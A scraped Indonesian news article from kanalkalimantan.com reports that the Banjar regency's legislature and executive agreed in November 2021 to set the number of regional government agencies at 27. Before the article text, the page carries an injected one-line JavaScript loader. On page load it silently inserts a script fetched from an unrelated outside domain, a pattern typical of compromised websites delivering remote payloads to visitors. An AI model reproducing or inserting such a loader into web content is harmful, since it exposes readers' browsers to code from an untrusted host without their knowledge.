(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pihak Legislatif dan esksekutif di Pemkab Banjar akhirnya mencapai kata sepakat berkait berapa jumlah Satuan Organisisasi Perangkat Daerah (SOPD) di pemkab itu.
Pada penyampaian hasil keputusan rapat pansus yang di fasilitasi gubernur Kalimantan Selatan dan ditandatangani oleh Ketua pansus Kamaruzzaman menyebutkan, bahwa penetapan perangkat daerah sebanyak 27 SOPD
”Dinas Tenaga Kerja dan Transimigrasi (Disnakertran) tidak jadi di gabung dengan Dinas Penanaman Modal Perizinan Terpadu Satu Pintu ( DPMPTSP) masing-masing berdiri sendiri.
Hal yang sama juga berlaku untuk UPT Pemadam Kebakaran dan Satpol PP juga tidak jadi digabung,” ujar Ketua Pansus, Syarkawi.
Baca juga : Plt Bupati HSU Pimpin Apel Gelar Pasukan Antisipasi Bencana
Hasil rapat pansus tersebut dibacakan wakil ketua pansus Syarkawi saat rapat paripurna DPRD Banjar dengan agenda Penetapan Propemperda Tahun 2022.
Pengambilan Keputusan terhadap Raperda tentang Perubahan Atas Perda Kabupaten Banjar No.13 Tahun 2016 tentang Pembentukan dan Susunan Perangkat Daerah.
Penyampaian bupati Banjar terhadap Raperda tentang Perubahan Keempat Atas Perda Kabupaten Banjar No. 8 Tahun 2011 tentang Retribusi Perizinan Tertentu, di ruang rapat paripurna DPRD Banjar, Rabu (24/11/2021) siang.
Pihak eksekutif dan legislatif sepakat menerima masukan dari Pemprov Kalsel.
Rapat yang dipimpin oleh Ketua DPRD Banjar HM Rofiqi dan di skors selama 15 menit tersebut akhirnya di setujui oleh semua fraksi, dan ditandatangani berita acaranya oleh ketua DPRD Banjar.
Baca juga : Akuarium di Lapangan dr Murdjani Akhirnya Diisi Ikan, Spot Swafoto Kekinian di Banjarbaru
Bupati Banjar H. Saidi Mansyur mengatakan, atas nama pemerintah mengucapkan terima kasih kepada DPRD Banjar atas dukungan, apreasiasi serta fasilitasi pembahasan, sehingga Raperda tentang perubahan peraturan daerah No 13 tahun 2016 tentang pembentukan dan susunan perangkat daerah dapat diselesaikan dan mendapat persetujuan untuk detetapkan menjadi Perda.
Dia mengatakan, banyak saran masukan dan pendapat dari DPRD Banjar baik dari pemandangan umum fraksi maupun rapat pansus yang dilaksanakan beberapa kali guna perbaikan dan penyempurnaan Raperda.
Diketahui, SOPD di Pemkab Banjar semula berjumlah 34, kemudian diusulkan disepakati berjumlah antara 24 hingga 26 SOPD. Walhasil, kedua pihak kemudian sepakat menjadi 27 SOPD. (kanalkalimantan.com/dhani)
Reporter : dhani
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.